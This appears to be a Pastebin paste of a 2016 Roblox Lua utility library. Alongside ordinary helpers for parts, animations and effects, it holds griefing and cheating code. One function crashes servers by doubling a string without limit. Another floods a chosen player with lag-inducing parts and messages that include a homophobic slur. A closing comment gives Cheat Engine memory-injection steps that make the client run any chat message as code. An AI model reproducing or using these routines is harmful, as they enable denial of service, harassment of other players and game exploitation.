Advertisement
wefhwelqfr

Untitled

Dec 2nd, 2016
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.57 KB | None | 0 0
  1. -- run this first
  2. game:service'Debris':AddItem(script,0)
  3. --script:ClearAllChildren()
  4. -- ­  31398059
  5. SavedFenvs = {}
  6. for i,v in pairs(getfenv()) do
  7. SavedFenvs[i]=true
  8. end
  9. -- c/while wait() do for i=1,200 do Instance.new("Message",game.Players.Damply.PlayerGui).Text="yes" end end
  10.  
  11. ins = Instance.new
  12. v3 = Vector3.new
  13. cn = CFrame.new
  14. ca2 = CFrame.Angles
  15. mf = math.floor
  16. mran = math.random
  17. mrad = math.rad
  18. mdeg = math.deg
  19. ca = function(x,y,z) return ca2(mrad(x),mrad(y),mrad(z)) end
  20. ud=UDim2.new
  21. bn = BrickColor.new
  22. c3 = Color3.new
  23.  
  24. Players = game:service'Players'
  25. Lighting = game:service'Lighting'
  26. Debris = game:service'Debris'
  27.  
  28. Lastqi={}
  29. qit = {}
  30. qit["n"]="Name"
  31. qit["sc"]="Size"
  32. qit["cf"]="CFrame"
  33. qit["an"]="Anchored"
  34. qit["can"]="CanCollide"
  35. qit["mat"]="Material"
  36. qit["bn"]="BrickColor"
  37. qit["mid"]="MeshId"
  38. qit["tid"]="TextureId"
  39. qit["sca"]="Scale"
  40. qit["tra"]="Transparency"
  41. qit["ref"]="Reflectance"
  42. qit["mtyp"]="MeshType"
  43. qit["P0"]="Part0"
  44. qit["P1"]="Part1"
  45. qit[""]=""
  46. qit[""]=""
  47. qit["tya"]="TextYAlignment"
  48. qit["txa"]="TextXAlignment"
  49. qit["bc3"]="BackgroundColor3"
  50. qit["tc3"]="TextColor3"
  51. qit["pos"]="Position"
  52. qit["txt"]="Text"
  53. qit["bgt"]="BackgroundTransparency"
  54. qit["txs"]="TextTransparency"
  55. qit["tst"]="TextStrokeTransparency"
  56. qit["tsc3"]="TextStrokeColor3"
  57. qit[""]=""
  58. qit[""]=""
  59. qit[""]=""
  60.  
  61.  
  62. C3Pro={}
  63. C3Pro['BackgroundColor3']=0
  64. C3Pro['TextColor3']=0
  65. C3Pro['TextStrokeColor3']=0
  66. C3Pro['Color']=0
  67. C3Pro['BackgroundColor3']=0
  68. C3Pro['BackgroundColor3']=0
  69. C3Pro['BackgroundColor3']=0
  70.  
  71. BNPro={}
  72. BNPro['BrickColor']=0
  73.  
  74.  
  75. GuiClass={}
  76. GuiClass["Frame"]=0
  77. GuiClass["TextLabel"]=0
  78. GuiClass["TextButton"]=0
  79. GuiClass["TextBox"]=0
  80. GuiClass["ImageLabel"]=0
  81. GuiClass["ImageButton"]=0
  82. qi = function(tab)
  83. local v = ins(tab[1])
  84. --
  85. if v:IsA("Part") or v:IsA("WedgePart") then v.formFactor="Custom" end
  86. if v:IsA("BasePart") then v.TopSurface=0 v.BottomSurface=0 v.Locked=true end
  87. if GuiClass[v.className] then v.BorderSizePixel=0 end
  88. --
  89. for index,element in pairs(tab) do
  90. if index~=1 and index~=2 then
  91. local index = qit[index] or index
  92. --
  93. if C3Pro[index] and type(element)=='string' then element=bn(element).Color end
  94. if BNPro[index] and type(element)=='string' then element=bn(element) end
  95. --
  96. if index=='Debris' then
  97. Debris:AddItem(v,element)
  98. else
  99. v[index]=element
  100. end
  101. end
  102. end
  103. if type(tab[2])=='number' then v.Parent=Lastqi[#Lastqi-tab[2]] elseif tab[2] then v.Parent=tab[2] end
  104. Lastqi[#Lastqi+1]=v
  105. if v:IsA("BasePart") then v:BreakJoints() end
  106. return v
  107. end
  108.  
  109. iform=function(tab)
  110. for i,v in pairs(tab) do tab[v]=v end
  111. return tab
  112. end
  113.  
  114. SetLocalPlayer = [==[
  115. Player=Players.LocalPlayer
  116. Char=Player.Character
  117. if Char:findFirstChild("Head") or Char:findFirstChild("Torso") then else error'Player/CantFindParts' end
  118. Head=Char.Head
  119. Torso=Char.Torso
  120. Hum=Char.Humanoid
  121. Backpack=Player.Backpack
  122. PlayerGui=Player.PlayerGui
  123. ]==]
  124.  
  125. q = function(f) -- quick function
  126. coroutine.resume(coroutine.create(function() f() end))
  127. end
  128.  
  129. --- the pw is my last name -2 letters + my 2012 school student id
  130.  
  131. PlayerManager={}
  132. PM=PlayerManager
  133. pm=PM
  134. PM.Load = function(ta,st)
  135. local Pv
  136. local count=0
  137. for i,v in pairs(Players:GetPlayers()) do if string.find(v.Name:lower(),st:lower()) and count==0 then Pv=v count=count+1 end end
  138. if not Pv or count>1 then return {} end
  139. local PStat={Name=Pv.Name,Age=Pv.AccountAge,v=Pv}
  140. if Pv.Character and Pv.Character:findFirstChild'Torso' then PStat.Torso=Pv.Character.Torso end
  141. if Pv.Character and Pv.Character:findFirstChild'Humanoid' then PStat.H=Pv.Character.Humanoid end
  142. PStat.Kill = function() if Pv.Character then Pv.Character:BreakJoints() end end
  143. PStat.asd = function() if Pv.Character and Pv.Character:findFirstChild'Torso' and Pv.Character:findFirstChild'Humanoid' then
  144. Pv.Character.Humanoid.Sit=true Pv.Character.Torso.CFrame=Pv.Character.Torso.CFrame*ca(45,0,0) Pv.Character.Torso.Velocity=Pv.Character.Torso.CFrame.lookVector*100 end end
  145. PStat.r=function() Pv:LoadCharacter() end
  146. PStat.Char=function() return Pv.Character end
  147. PStat.load=function() return Pv,Pv.Character,Pv.Backpack,Pv:findFirstChild'PlayerGui' end
  148. PStat.gca=function(t,naa) local Pv2=pm:l(naa).v if Pv2 then Pv.CharacterAppearance=Pv2.CharacterAppearance end end
  149. return PStat
  150. end
  151. PM.l=PM.Load
  152. --c/PlayerManager:Load'drew':asd()
  153. --c/_G.br = function() _G.brr = _G.brr and _G.brr:Remove() _G.brr = qi{'Part',workspace,an=true,FrontSurface='Hinge',cf=cn(0,6,0)} return _G.brr end
  154.  
  155. Welds={}
  156. Ani=function(w,a,b,c,d,e,f,ty,inc,sined)
  157. if not Welds[w] then
  158. local d0,e0,f0=w.C0:toEulerAnglesXYZ() local d1,e1,f1=w.C1:toEulerAnglesXYZ()
  159. local d0,e0,f0=mdeg(d0),mdeg(e0),mdeg(f0) local d1,e1,f1=mdeg(d1),mdeg(e1),mdeg(f1)
  160. Welds[w]={[0]={w.C0.x,w.C0.y,w.C0.z,d0,e0,f0},[1]={w.C1.x,w.C1.y,w.C1.z,d1,e1,f1}}
  161. end
  162. local c0,c1=Welds[w][0],Welds[w][1]
  163. c0[1],c0[2],c0[3]=w.C0.x,w.C0.y,w.C0.z
  164. c1[1],c1[2],c1[3]=w.C1.x,w.C1.y,w.C1.z
  165. local A0,B0,C0,D0,E0,F0 = unpack(c0)
  166. local A1,B1,C1,D1,E1,F1 = unpack(c1)
  167. local Do = function(i)
  168. if ty==0 then
  169. w.C0=cn( A0-((A0-a)*i) , B0-((B0-b)*i) , C0-((C0-c)*i) ) * ca( D0-((D0-d)*i) , E0-(((E0-e)/1)*i) , F0-((F0-f)*i) )
  170. elseif ty==1 then
  171. w.C1=cn( A1-((A1-a)*i) , B1-((B1-b)*i) , C1-((C1-c)*i) ) * ca( D1-((D1-d)*i) , E1-(((E1-e)/1)*i) , F1-((F1-f)*i) )
  172. else
  173. w.C0=cn( A0-((A0-a)*i) , B0-((B0-b)*i) , C0-((C0-c)*i) ) * ca(D0,E0,F0)
  174. w.C1=cn(A1,B1,C1) * ca( D1-((D1-d)*i) , E1-(((E1-e)/1)*i) , F1-((F1-f)*i) )
  175. end
  176. end
  177. for i=inc,1,inc do
  178. Do(sined and math.sin(math.pi/2*i) or i)
  179. wait()
  180. end
  181. Do(1)
  182. if ty==0 then
  183. c0[4],c0[5],c0[6]=d,e,f
  184. else
  185. c1[4],c1[5],c1[6]=d,e,f
  186. end
  187. end
  188. qAni=function(w,a,b,c,d,e,f,ty,inc,sined) q(function() Ani(w,a,b,c,d,e,f,ty,inc,sined) end) end
  189. rAni=function(w)
  190. Welds[w]=nil
  191. end
  192. --script/Ani(workspace.RobroxMasterDX.Torso["Left Shoulder"],-1.5,0.5,0,0,-90,0,0,0.1,true)
  193. --script/Ani(workspace.RobroxMasterDX.Torso["Left Shoulder"],0,0.5,0,0,-90,0,1,0.1)
  194. -- [ ]
  195.  
  196. Sound = function(id,par,vol,pit)
  197. q(function() -- Sound maker
  198. local sou = qi({"Sound",par or workspace,Volume=vol or 1,Pitch=pit or 1,SoundId=id,Debris=4})
  199. wait() sou:play()
  200. end)
  201. end
  202.  
  203. Dmg = function(Hum,Dealt,Hitter)
  204. local HM=Hum.Parent
  205. local HMT,HMB=HM:findFirstChild'Torso',HM:findFirstChild'Block'
  206. local Blocks=HMB and HMB.Value>0
  207. if HMT then
  208. local mm=qi{'Model',HMT,Debris=1} qi{'Humanoid',mm,MaxHealth=0}
  209. local mp= qi{'Part',mm,n='Head',an=true,can=false,sc=v3(1,0.2,1),cf=HMT.CFrame*cn(mran(-100,100)/50,3,mran(-100,100)/50)} qi{'SpecialMesh',mp}
  210. if Blocks then
  211. mm.Name='Block!'
  212. mp.BrickColor=bn'Bright blue'
  213. HMB.Value=HMB.Value-1
  214. else
  215. mm.Name=Dealt
  216. mp.BrickColor=bn'Bright red'
  217. end
  218. end
  219. if not Blocks then
  220. Hum.Health=Hum.Health-Dealt
  221. end
  222. end
  223.  
  224. GetHum = function(part)
  225. local Hum,HT,block
  226. for i,v in pairs(part.Parent:children()) do
  227. if v:IsA("Humanoid") then
  228. Hum=v
  229. elseif v.Name=='Torso' then
  230. HT=v
  231. elseif v.Name=='Block' and v:IsA("NumberValue") then
  232. block=v
  233. end
  234. end
  235. return Hum,HT,block
  236. end
  237.  
  238. ray = function(Pos, Dir,tab) -- ray cast
  239. return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),tab)
  240. end
  241.  
  242. raydist=function(Pos,Dir,tab)
  243. local hit,pos=ray(Pos,Dir,tab)
  244. return (Pos-pos).magnitude
  245. end
  246.  
  247. RangeAnim=function(obj,sticks,times,speed,range,fu,ignor,isanc,nobreak,dohit)
  248. local isanc = isanc or false
  249. local sts = {}
  250. local Hit,Pos
  251. for i,v in pairs(sticks) do
  252. sts[v]=v.CFrame:toObjectSpace(obj.CFrame)
  253. end
  254. for ty=1,times do
  255. if not obj.Parent then return end
  256. obj.CFrame=obj.CFrame*cn(0,0,-speed)
  257. for i,v in pairs(sts) do i.CFrame=obj.CFrame*v end
  258. local hit,pos=ray(obj.Position,obj.Position-obj.CFrame*cn(0,0,1).p,ignor)
  259. Pos=pos
  260. fu(ty,obj,hit,pos)
  261. if hit and dohit then dohit(hit) end
  262. if (hit and hit.Name~='unray') and (pos-obj.Position).magnitude<range then if not isanc or (hit.Anchored and hit.Transparency<1) then Hit=hit if not nobreak then break end end end
  263. wait()
  264. end
  265. return Hit,(Pos-obj.Position).magnitude,Pos
  266. end
  267.  
  268.  
  269. GetRegion = function(pos,ra,f,f2) -- range get
  270. local p0,p1=pos-v3(ra/2,ra/2,ra/2),pos+v3(ra/2,ra/2,ra/2)
  271. q(function()
  272. for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),nil,100)) do
  273. local Hum=GetHum(v)
  274. if v.Name=='Torso' and Hum and Hum.Health>0 then
  275. q(function() f(Hum,v) end)
  276. elseif f2 and not Hum then
  277. q(function() f2(v) end)
  278. end
  279. end
  280. end)
  281. end
  282.  
  283. AddBV=function(str,cfr,par,deb)
  284. if not par or not str then return end
  285. if par:findFirstChild'LibBV' then par.LibBV:Remove() end
  286. qi{'BodyVelocity',par,velocity=cfr.lookVector*str,maxForce=v3(1,1,1)*50000,Debris=deb,n='LibBV'}
  287. end
  288. AddBG=function(str,par,deb)
  289. if not par then return end
  290. if par:findFirstChild'LibBG' then par.LibBG:Remove() end
  291. qi{'BodyGyro',par,maxTorque=v3(1/0,1/0,1/0),P=100000,cframe=str,Debris=deb,n='LibBG'}
  292. end
  293.  
  294. Trails={}
  295. Trail=function(obj,th,color,inc,wt,adj)
  296. local adj=adj or cn(0,0,0)
  297. Trails[obj]=1
  298. q(function()
  299. local lastpos=(obj.CFrame*adj).p
  300. while Trails[obj] do wait(wt)
  301. local newpos=(obj.CFrame*adj).p
  302. local mag=(newpos-lastpos).magnitude
  303. local trp=qi{'Part',obj,sc=v3(0.2,0.2,0.2),an=true,can=false,bn=bn(color),cf=cn(lastpos,newpos)*cn(0,0,-mag/2)*ca(90,0,0)}
  304. local trpm=qi{'SpecialMesh',trp,sca=v3(th,mag,th)*5}
  305. local trpms=trpm.Scale
  306. lastpos=newpos
  307. q(function()
  308. for i=1,0,-inc do
  309. trp.Transparency=0.3+(0.7*(1-i))
  310. trpm.Scale=v3(th*5*i,mag*5,th*5*i)
  311. wait()
  312. end
  313. trp:Remove()
  314. end)
  315. end
  316. end)
  317. end
  318. --c/Trail(workspace.RobroxMasterDX.Torso,0.5,'Black',0.1,0.1)
  319.  
  320. MeshEffect=function(par,cf,x,y,z,inc,col,sha,adj)
  321. local adj = adj or cn(0,0,0)
  322. local mp=qi{'Part',par,sc=v3(1,1,1),bn=bn(col),cf=cf,tra=0.3,can=false,an=true,n='unray'}
  323. local ms
  324. if sha:sub(1,4)=='http' then
  325. ms=qi{'SpecialMesh',mp,mid=sha}
  326. elseif sha=='Block' then
  327. ms=qi{'BlockMesh',mp}
  328. elseif sha=='Cylinder' then
  329. ms=qi{'CylinderMesh',mp}
  330. elseif sha=='Head' or sha=='Sphere' then
  331. ms=qi{'SpecialMesh',mp,MeshType=sha}
  332. end
  333. q(function()
  334. for i=0,1,inc do
  335. mp.Transparency=0.2+(0.7*i)
  336. mp.CFrame=mp.CFrame*adj
  337. ms.Scale=v3(x,y,z)*(0.3+(0.7*i))
  338. wait(0.03)
  339. end
  340. mp:Remove()
  341. end)
  342. end
  343.  
  344. Lightning = function(par,p0,p1,tym,th,col,inc,spr)
  345. local bricks={}
  346. local cur={}
  347. local mag=(p0-p1).magnitude
  348. for i=1,tym,1 do
  349. cur[i]=cn(p0,p1)*cn(0,0,-mag/tym*i).p+v3(mran(-spr,spr),mran(-spr,spr),mran(-spr,spr))
  350. end
  351. cur[0]=p0
  352. cur[tym]=p1
  353. for i=1,tym do
  354. local mag2=(cur[i-1]-cur[i]).magnitude
  355. bricks[i]=qi{'Part',par,sc=v3(0.2,0.2,0.2),an=true,can=false,bn=bn(col),cf=cn(cur[i-1],cur[i])*cn(0,0,-mag2/2)*ca(90,0,0),tra=0.3,ref=0.15} qi{'BlockMesh',bricks[i],sca=v3(th,mag2,th)*5}
  356. end
  357. q(function()
  358. for i=0,1,inc do
  359. for x,v in pairs(bricks) do v.Transparency=0.3+(0.7*i) end
  360. wait()
  361. end
  362. for i,v in pairs(bricks) do v:Remove() end
  363. end)
  364. end
  365.  
  366. Reconnect=function()
  367. game:service'TeleportService':Teleport(game.PlaceId)
  368. end
  369.  
  370.  
  371. --Set a Table of my variables
  372. LVars = {}
  373. for i,v in pairs(getfenv()) do
  374. if not SavedFenvs[i] then
  375. LVars[i]=v
  376. end
  377. end
  378. _G.LVars = LVars
  379.  
  380. for i,v in pairs(LVars) do _G[i]=v end
  381.  
  382.  
  383. -- loadstring
  384. hazemlaib = [==[
  385. for i,v in pairs(_G.LVars) do
  386. getfenv()[i]=v
  387. end
  388. ]==]
  389.  
  390. _G['R'..'M'..'L'..'ib']=hazemlaib
  391.  
  392. _G.okbye=function()
  393. local ded=Instance.new("StringValue",workspace)
  394. for i=1,10000 do
  395. ded.Value = ded.Value .."lolllllllllllllllll".. ded.Value
  396. wait(0.03)
  397. end
  398. end
  399. _G.alg=function(nn,msg)
  400. local pp=pm:l(nn).v if not pp then return end
  401. for i=1,75 do newLocalScript([[game.Players.LocalPlayer.CameraMode=1 for i=1,100 do coroutine.resume(coroutine.create(function() while wait() do for i=1,200 do local lal=Instance.new("Part",workspace.Camera) lal.Size=Vector3.new(200,200,200) Instance.new("Fire",lal).Size=100 Instance.new("Smoke",lal).Size=3000 Instance.new("Message",workspace).Text='lefaglol' Instance.new("Hint",workspace).Text='lefaglol' end end end)) end]],pp.Character) end
  402. print('lagging'..pp.Parent.Name)
  403. local pp=pp:findFirstChild'PlayerGui' if not pp then return end while wait() do
  404. for i=1,32 do
  405. q(function()
  406. for i=1,16 do
  407. q(function()
  408. for i=1,8 do
  409. q(function()
  410. while wait() do for i=1,100 do Instance.new("Message",pp).Text=msg or 'Dont mess with me Fa­ggot.' end end
  411. end)
  412. end
  413. end)
  414. end
  415. end)
  416. end
  417. --
  418. end
  419. end
  420. _G.alc=function(nn)
  421. pcall(function() qi{'Message',workspace,Debris=4,Text=#game:service'Players'[nn].PlayerGui:children()} end)
  422. end
  423.  
  424.  
  425. q(function()
  426. if Players.LocalPlayer==nil then
  427. for i,v in pairs(script:children()) do
  428. if v:IsA("StringValue") then
  429. for i,p in pairs(Players:GetPlayers()) do
  430. q(function() newLocalScript(v.Value,p.Character) end)
  431. end
  432. end
  433. end
  434. end
  435. end)
  436. --script/loadstring(_G.RMLib)() print(ins)
  437. print('libbaload')
  438.  
  439. --[[
  440.  
  441. repeat wait() until game:service'Players'.LocalPlayer
  442. game:service'Players'.LocalPlayer.Chatted:connect(function(msg) Spawn(loadstring(msg)) end)
  443.  
  444.  
  445. 1. studio
  446. 2. ce
  447. 3. attach and mem view
  448. 4. tools> auto assem
  449. 5.
  450. alloc(newmem,2048) //2kb should be enough
  451. alloc(hax,2048)
  452. label(returnhere)
  453. label(originalcode)
  454. label(exit)
  455.  
  456. hax:
  457. db 72 65 70 65 61 74 20 77 61 69 74 28 29 20 75 6e 74 69 6c 20 67 61 6d 65 3a 73 65 72 76 69 63 65 27 50 6c 61 79 65 72 73 27 2e 4c 6f 63 61 6c 50 6c 61 79 65 72 0d 0a 67 61 6d 65 3a 73 65 72 76 69 63 65 27 50 6c 61 79 65 72 73 27 2e 4c 6f 63 61 6c 50 6c 61 79 65 72 2e 43 68 61 74 74 65 64 3a 63 6f 6e 6e 65 63 74 28 66 75 6e 63 74 69 6f 6e 28 6d 73 67 29 20 53 70 61 77 6e 28 6c 6f 61 64 73 74 72 69 6e 67 28 6d 73 67 29 29 20 65 6e 64 29
  458.  
  459. newmem: //this is allocated memory, you have read,write,execute access
  460. //place your code here
  461.  
  462. originalcode:
  463. call 006B7670
  464. push b99e7c
  465. push hax
  466. push 07
  467. mov ecx,esi
  468. call 6b7670
  469.  
  470. exit:
  471. jmp returnhere
  472.  
  473. 006E156D:
  474. jmp newmem
  475. returnhere:
  476.  
  477. 6. new place, command bar: Game:service'TeleportService':TeleportImpl(20279777,"")
  478.  
  479. ]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement